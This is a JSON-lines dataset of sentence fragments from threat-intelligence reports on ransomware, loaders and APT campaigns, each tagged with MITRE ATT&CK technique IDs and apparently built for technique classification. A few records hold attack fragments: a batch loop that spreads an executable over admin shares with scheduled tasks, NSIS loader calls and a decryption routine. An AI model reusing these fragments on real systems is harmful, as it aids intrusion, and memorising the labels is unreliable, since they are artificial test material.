{"sentence": "It is expected that the different naming schemes are related to the different variations of the ransomware.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Using the automated malware analyzer CAPEv2 allowed for the detection and capture of this JSON, which indicates the creation of a Mutex: Using the automated malware analyzer CAPEv2 allowed for the detection and capture of this JSON, which shows the addition of \"Fax\" to the registry allowing it to start in Safemode: Using the automated malware analyzer CAPEv2 allowed for the detection and capture of this JSON which shows the use of BCDEdit to restart the host into safemode with networking:", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Instruction in the file readme.txt\" the only files still accessible to the user are the \"readme\" files.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "According to the recent writeups above, this indicates that this is one of the newest renditions of the malware.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "The lab environment consisted of three Virtual Machines running inside of VMWare Workstation 16 Pro.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "The network was configured not to allow any connection to the internet.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "HOST 1: ANALYSIS HOST", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "This was done in order to all the malware to communicate with the hard coded IP’s without allowing commination to a C2 host.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "FakeDNS: A fake DNS service which responds with a predetermined IP.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "This host was used for detonation of the malware samples provided by the client.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "This host only receives windows logging from Host 2. INDEX C: LIST OF SAGAN RULES DEVELOPED FROM THIS INCIDENT Rules that were developed following this incident.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "A full list of Sagan Rules can be found on github.com/quadrantsec/sagan-rules Rule Name SID [CISCO-SECUREENDPOINT] Exploit attempt was detected 5008352", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "[WINDOWS-CLIPBOARD] rwinsta command 5008376 [WINDOWS-CLIPBOARD] nltest command 5008377", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "[WINDOWS-CLIPBOARD] bitsadmin file transfer command 5008381", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "[WINDOWS-SECURITY] Service being stopped by net command v1 5008343", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "[WINDOWS-SECURITY]", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "[WINDOWS-SECURITY] Copied rundll32 command executing non-standard dll 5008348", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "[WINDOWS-SECURITY] Possible UAC Bypass - Rundll32.exe using DLLRegister 5008351", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "By: Trend Micro March 27, 2023Read time: ( words) Save to Folio Subscribe Since 2022, we’ve been following a series of cyberespionage efforts carried out by multiple groups carried from an old campaign.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "It combines the collective activities carried out by subgroups of advanced persistent threat (APT) group Earth Preta (also known as Mustang Panda), representing a comprehensive network of operations for gathering sensitive information from various entities.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "A change in targets.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "With this entry, we hope to emphasize the importance of international cooperation in combating this significant threat.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "and exfiltrated documents to drive F:.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "The group uses a USB drive as an entry point into a target's system, indicating its preference for leveraging physical vectors for intrusion.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "The group has been observed targeting sectors such as finance, government, manufacturing, fabrication, construction, energy, transportation, air traffic, and food production.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "These customized devices appear to be carefully crafted to bypass security measures and appear legitimate to the target.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "Group 1358 Group 1358 is a highly sophisticated threat actor that employs advanced tactics and techniques to infiltrate and compromise a wide range of targets worldwide.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "This group is potentially composed of several operating groups utilizing the same tools and techniques.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "This group’s choice of malware is PlugX, an older and well-known remote access tool.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "The group uses DLL sideloading with Adobe CEF Helper and establishes persistence in the RECYCLERS.BIN folder.", "labels": ["T1574.002"], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "This method allows the group to bypass traditional security measures and gain access to their targets undetected.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "Given the scale and sophistication of Earth Preta’s cyberespionage operations, the international community needs to take proactive measures to defend against this significant threat.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "This updated information changed our view on the evidence initially gathered by Unit 42 researchers.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The following is an update of our original blog, more accurately aligned to the current intelligence community information regarding WatchDog’s mimicry of TeamTNT operations.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "With the identification of these new WatchDog scripts, Unit 42 researchers found that techniques that have been synonymous with the TeamTNT group have gone missing.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "It appears that WatchDog may be attempting to expand their cryptojacking operations, while simultaneously masking their operations to appear more like the known cryptojacking operations performed by TeamTNT.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The stealing, hijacking or incorporation of cryptojacking TTPs within other cryptojacking operations has become a common trend within cryptojacking groups.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "New WatchDog Malware There are two samples that show the evolution of WatchDog techniques to mimic TeamTNT operations, 36ca9f84864ad022c255b7d91e75997f035716e4df5dc1c90ee2651f092f5d79 and 49366ae4766492d94136ca1f715a37554aa6243686c66bf3c6fbb9da9cb2793d.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Malware samples with hardcoded f2pool mining pool operation workers.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Identification and killing of processes using the WatchDog Monero address.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The same MOxmrigMOD URL address as the known TeamTNT IoC shown within Figure 9 is present, but in this sample we also see additional URL addresses that have very strong ties to WatchDog infrastructure, specifically those involving the domain name oracle.zzhreceive[.]top.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "WatchDog Monero wallet address within TeamTNT infrastructure.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The b.sh script contains the 43xb TeamTNT and WatchDog Monero wallet address and points to the 199.19.226[.]117 TeamTNT and WatchDog IP addresses (Figure 15).", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Known TeamTnT domain borg[.]wtf.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The correlations between TeamTNT and WatchDog are intrinsically connected with this b.sh script.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "It’s also noteworthy that the new operation does not incorporate the more advanced GoLang binaries traditionally associated with WatchDog, which are capable of exploiting Windows- or NIX-based operating systems.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Unit 42 researchers will continue to monitor this cryptojacking event and provide updates as needed.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Implement and use Infrastructure as Code (IaC) scanning platforms to prevent insecure cloud instances from being deployed into production environments.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Use cloud infrastructure configuration scanning tools that enable governance, risk management and compliance (GRC) to identify potentially threatening misconfigurations.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The websites and installers downloaded from them are mostly in Chinese and in some cases falsely offer Chinese language versions of software that is not available in China.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "Some of these websites look identical to their legitimate counterparts but deliver malicious installers instead.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "The other websites, possibly translated by the attackers, offer Chinese language versions of software that is not available in China, such as Telegram, as shown in Figure 3. Figure 3.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "Fake Telegram website that delivers the FatalRAT malware We observed malicious websites and installers for these applications, roughly in order of popularity: Chrome Firefox Telegram WhatsApp Line Signal Skype Electrum Bitcoin wallet Sogou Pinyin Method, a Chinese Pinyin input method editor Youdao, a dictionary and translation application WPS Office, a free office suite You can see other fake websites in the gallery shown in Figure 4 (click on an image to enlarge it).", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "An example is shown in Figure 5 (image from the original post above).", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "Search results for Firefox, with a fake website advertised (image credit: landiannews.com)", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "Figure 6 shows the malicious installers that the attackers uploaded to the cloud storage on January 6th, 2023.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "Malicious installers uploaded by the attackers to their cloud storage on January 6th, 2023 When these installers are executed, they usually: Drop and execute the malicious loader, and files needed to run the FatalRAT malware, in the %PROGRAMDATA%\\Progtmy directory.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "It is possible that the attackers are solely interested in the theft of information like web credentials to sell them on underground forums or to use them for another type of crimeware campaign, but for now specific attribution of this campaign to a known or new threat actor is not possible.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "51D29B025A0D4C5CDC799689462FAE53765C02A3LINE-Setup.msiWin32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "23F8FA0E08FB771545CD842AFDE6604462C2B7E3Whats-Setup.msiWin32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "B6F068F73A8F8F3F2DA1C55277E098B98F7963EC电报中文-setup.msi (machine translation: Telegram Chinese)Win32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "BRMalicious installer (older version).", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "T1583.003Acquire Infrastructure : Virtual Private ServerThe attackers acquired VPS servers to store their malicious websites.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "T1608.001Stage Capabilities: Upload MalwareThe attackers uploaded their malicious MSI files to Alibaba Cloud Object Storage Service.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "T1027.007Obfuscated Files or Information:", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "Dynamic API ResolutionThe loaders use dynamic API resolution to avoid detection.", "labels": ["T1027"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "The sender was very conversational and personable in the messages, helpfully offering that the Zip archive contains “in addition to my tax transcripts for the past two years…a copy of my driver’s license.”", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "When someone tries to double-click these decoy files, Windows (or the application mapped to the relevant filetype) throws an error because the file isn’t the type of file it appears to be.", "labels": ["T1027"], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "The VBS contains two large variables.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "In the script we analyzed, these were named Ir8 and O7, respectively, but although the variable names were slightly modified in each variant of the script we examined, the overall flow was the same.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "On one machine, we found that the malware injected itself, using process hollowing, into ielowutil.exe, used by the now defunct Internet Explorer browser for tuning the microphone settings in the browser.", "labels": ["T1055"], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "Once infected, the ielowutil.exe binary constantly attempts to contact its command–and-control server, on 64.44.101.171:9191.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "address above.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "As such, it’s very prudent to be cautious when you’re approached by potential new clients.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "If they provide a password, unzip the file and then scan the contents with an endpoint security tool before opening them.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "When in doubt, you can also right-click (not left-click) the icon, one click only, and choose Properties.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "Even though the Properties sheet won’t display the Powershell command, if the file is a Shortcut it will have a Shortcut tab (normal document files won’t have those) and it accurately shows that the “Target type” is a Visual Basic Script (VBScript Script File).", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "The attackers, in this case, seemed to limit their communication to email.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "GoSecure researchers received a sample from the IDR team which was suspected of being BazarLoader, named Report Preview15-10.exe, on 2020-10-06.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"} {"sentence": "Shortly after, GoSecure researchers received yet another BazarLoader sample on 2020-10-08 named Document2-85.exe, which exhibited similar behavior.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"} {"sentence": "The executable Review_Report15-10.exe (3c27fca6d9cf1379eee93e6fea339e61) will appear as a PDF document to users who do not have extensions enabled in Windows, as seen in Figure 3. Figure 3: Stage 1 PDF Icon Lure To help obfuscate its purpose, BazarLoader appears to be bound or obfuscated with legitimate resources from YUVPlayer (A Lightweight YUV player which supports various YUV formats).", "labels": ["T1027"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"} {"sentence": "The next function is responsible for copying the shellcode from the .data section to the newly allocated memory location.", "labels": ["T1027"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"} {"sentence": "Once the encrypted shellcode has been copied to executable memory, it will then use advapi32.CryptEncrypt to decrypt the shellcode.", "labels": ["T1106", "T1140"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"} {"sentence": "On different debugging sessions the virtual addressing changed during analysis.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"} {"sentence": "The call to kernel32.CreateMutexA can be seen in Figure 13. Figure 13: Mutex Creation Interestingly, BazarLoader will check for mutexes twice.", "labels": ["T1106"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"} {"sentence": "Figure 16: BazarLoader C2 Download Domain HEAD Request", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"} {"sentence": "This can be seen in Figures 20 and 21. Figure 20: Updated Main Shellcode Decryption/Execution Routine Figure 21: Obtain Encrypted Pointer to Encrypted Shellcode from the Resource Section Figure 22:", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"} {"sentence": "We initially assumed that this was yet another attack on corporate networks with a common variety of ransomware.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "In this article, we will share the results of our investigation of this targeted attack, which started with the compromise of a foreign office.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "A large number of damaged files is itself a very visible attack indicator that enabled detecting the intrusion.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "We believe that the initial entry point to the foreign office's network was a vulnerable server on the network perimeter.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "Because use of Mimikatz was likely blocked by endpoint security software, the attackers were forced to run bruteforcing offline.", "labels": ["T1110"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "Here we have provided a timeline to better show the sequence of events.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "The method used to run the ransomware is classic and, indeed, characteristic of certain Asian groups.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "GDFInstall.exe (MD5: 13435101240f78367123ef01a938c560) is a legitimate computer game component signed by Ubisoft.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "This component is not actually legitimate, however: attacker code is executed after the GameExplorerInstallW symbol is exported.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": ".dbf .dds", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": ".dmg .dmp .doc .docx .dtd .dwg", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": ".ged .gif .gz", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": ".jsp .key .keychain .log .lua", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": ".mid .mov .mp3 .mp4", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "Each approach involves a different encryption key.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "It is identical for all files and is used with a hard-coded salt and 1,000 iterations to generate the encryption key and initialization vector.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "The .locked extension is added to encrypted files.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "In this case, the 16-byte encryption key is formed by taking the first 8 bytes from the base encryption key and the remaining 8 bytes from an additional hard-coded array.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "This is followed by a custom implementation of AES-ECB.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "This method was likely to chosen to speed up the encryption process.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "Therefore, the original files can also be recovered from unallocated disk space if they have not yet been overwritten with fresh information.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "You're the one who has to walk through it.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "The malware subsequently repeats the same procedure for deleting system event logs and shadow copies that it performed at the start.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "Currently, there are no methods that are both cheap and fast for factoring a key of such size.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "So we tried another tactic.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "TickCount variable.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "%%i in (c:\\programdata\\list.txt) do ( net use \\\\%%i\\c$ \"*\" /u:*\\administrator copy c:\\programdata\\vmnat.exe \\\\%%i\\c$\\windows\\system32\\vmnat.exe SCHTASKS /Create /S", "labels": ["T1053.005"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "c:\\programdata\\no_access.txt ) ) (We replaced sensitive information with '*')", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "Some of the commands are too general to tell, since they could have been found in online search results and reused.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "Symmetric Cryptography Exfiltration T1020 Automated Exfiltration T1041 Exfiltration Over C2 Channel Impact T1486 Data Encrypted for Impact IOCs ChinaChopper: 2ce60073c09887f9e3a482097294e17d 5bc0d6918e03a92f04b3dfc21b619c7f 73717a2f9bfe19ccdad541bec1fa2b69 82a8470534d74c9c5c0d84071eb0a703 b89e96e2ea8dd6fdb438f7d5b8ecf60c TwoFace: 581c331d41ef5f5df99ae0d16b2cebf0 84816f2e1f321f45c15c80b5cd6b4d37 ff2693903a1049984745e79381e9ed7e SysUpdate: 3c1981991cce3b329902288bb2354728 43a2c2fb8d52dc1835ac18516b13aff1 4b5484e3de5c5a2e60fcee50d04183d6 SysUpdate C&C: 103.59.144[.]183 95.179.189[.]33 NBTScan: f01a9a2d1e31332ed36c1a4d2839f412 SMBTouch: b50fff074764b3a29a00b245e4d0c863 PsExec: aeee996fd3484f28e5cd85fe26b6bdcd Termite: dc92496358b8e67568a35b861ba1804e39e3d36b Dsquery: 3583d7c971de148a1ffb3302d1510ef1 EternalBlue:", "labels": ["T1041", "T1573.001"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "Phishing campaign analysis What we have observed is that the link in the phishing email points to Amazon Web Services click tracking service at awstrack[.]me.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"} {"sentence": "Unpacked file names referencing tax documents in the malware In some cases, GuLoader was used to execute shellcode and subsequently download Remcos on the target system.", "labels": ["T1027", "T1105"], "doc_title": "Threat actors strive to cause Tax Day headaches"} {"sentence": "Successful delivery of a Remcos payload could provide an attacker the opportunity to take control of the target device to steal information and/or move laterally through the target network.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"} {"sentence": "Its feature set expanded over the years to include various surveillance, persistence, and information-stealing capabilities:taking full control of the infected machinerecording keystrokes in real time with offline logging availableaccessing live web cam feeds including microphone recordingdownloading files remotelyremote shutdown and rebootdisabling user inputOver", "labels": ["T1056.001"], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"} {"sentence": "The outer layer made of a popular and legitimate tool makes for a perfect cover.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "We wrote about unpacking them in the past, i.e. here, and here.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "With time their internal structure has evolved, so we decided to revisit them and describe the inside again using samples from some of the Formbook stealer campaigns.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "$INSTDIR File 5e9ikl8w3iif7ipp6 File 3ugs67ip868x5n File tjdorfrldbgdlq System::Alloc 1024 Pop $0 System::Call \"kernel32::CreateFile(t'$INSTDIR\\tjdorfrldbgdlq', i 0x80000000, i 0, p 0, i 3, i 0, i 0)i.r10\" System::Call \"kernel32::VirtualProtect(i r0, i 1024, i 0x40, p0)p.r1\" System::Call \"kernel32::ReadFile(i r10, i r0, i 1024, t., i 0)", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "i .r3", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "If loading the next stage has failed, the installer will restart itself.", "labels": ["T1140"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "i < 256; ++i ) { key_stream[i + 256] = i; key_stream[i] = key[i % size]; } for ( i = 0; i < 256; ++i ) { v6 = (key_stream[i] + v6 + key_stream[i + 256]) % 256; next = key_stream[v6 + 256]; key_stream[v6 + 256] = key_stream[i + 256]; key_stream[i + 256] = next; } v6 = 0; for ( j = 0; j < DATA_SIZE; ++j ) { i = (i + 1) % 256; v6 = (v6 + key_stream[i + 256]) % 256; next = key_stream[v6 + 256]; key_stream[v6 + 256] = key_stream[i + 256]; key_stream[i + 256] = next; v4 = (key_stream[v6 + 256] + key_stream[i + 256]) % 256; data[j] ^=", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "key[j % size]; data[j] ^= key_stream[v4 + 256]; } } view raw nsis_decrypt.cpp hosted with :red_heart: by GitHub", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "4b1a50d1 : NtCreateSection", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Overview of the PE loader Manual syscalls calling", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "More in-depth analysis of this technique was described here.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Once the syscall number has been extracted, the malware intends to execute it from its own code.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The malware comes with two variants of the stub executing a syscall.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "As before, we can see decryption of the next stage with the help of a custom algorithm.", "labels": ["T1140"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Second, we can see a check against blacklisted processes.", "labels": ["T1057"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "However, in this case, detection of a forbidden process only delays execution, and does not suspend it or terminate.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Nevertheless, the authors decided to give up the check in the latest version.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Its structure shows that it is created by experienced authors, using well known, yet not trivial techniques.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Its evolution is slow but steady.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Threat Actor Targeting Korean Users through malicious Document Files Cyble Research and Intelligence Labs (CRIL) recently discovered an ongoing campaign associated with the notorious ransomware group LockBit.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"} {"sentence": "LockBit has been actively operating since September 2019 and consistently employs various methods to spread its malware.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"} {"sentence": "LockBit ransomware’s maldocs campaign, initially detected in 2022, had specifically targeted individuals in Korea.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"} {"sentence": "In the initial stage, a URL hosting the malicious template file (.dotm) is injected into settings.xml.rels file that resides within the document package.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"} {"sentence": "The below image shows the extracted content of the document file.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"} {"sentence": "Following the successful download, the script saves the obtained payload in the directory “C:\\Users\\Public\\456trytgre3e45yrthtgr.exe” on the compromised system and proceeds to execute it.", "labels": ["T1059.003"], "doc_title": " LockBit Ransomware 20 Resurfaces"} {"sentence": "LockBit Ransomware: After the LockBit ransomware successfully executes on a system, it initiates a series of actions.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"} {"sentence": "However, it is evident that Lockbit remains a significant threat, continuously evolving and expanding its capabilities.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"} {"sentence": "Refrain from opening untrusted links and email attachments without verifying their authenticity.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"} {"sentence": "We will also share sample detection rules, and hunting recommendations to find similar activity in your environment.", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "This provides attackers with an opportunity to hide their data as log records in a convenient way, because these are accessible through API functions.", "labels": ["T1106"], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "Effectively, each string is therefore encrypted with a unique byte stream.", "labels": ["T1027"], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "This table resides in memory and contains strings with their identifiers available to all applications.", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "The encryption algorithm is HC-128, which is rarely seen used in malware.", "labels": ["T1027"], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "The expected decrypted file contents have a 40-byte header: struct payloadHeader { DWORD magic; DWORD minWinVer; DWORD maxWinVer; DWORD totalSize; WORD numBlocks; WORD unknown; BYTE sha1sum[20]; } In the analyzed installer, the “magic” value is referred to as a checksum; however, STASHLOG verifies this value matches the hard-coded value 0x00686365.", "labels": ["T1140"], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "The key is the 16-byte atom GUID and the IV is the first 16-bytes of the atom GUID SHA1 hash.", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "The IV is the first 16-bytes of the SHA1 hash of the concatenated GUIDs from: GetVolumeNameForVolumeMountPointW() The registry value HKLM\\SOFTWARE\\Microsoft\\Cryptography\\MachineGUID The contents are written to the CLFS log file using the clfsw32.dll API function ReserveAndAppendLog().", "labels": ["T1106"], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "Onto PRIVATELOG The PRIVATELOG sample recovered by Mandiant is an un-obfuscated 64-bit DLL named prntvpt.dll.", "labels": [], "doc_title": "Too Log 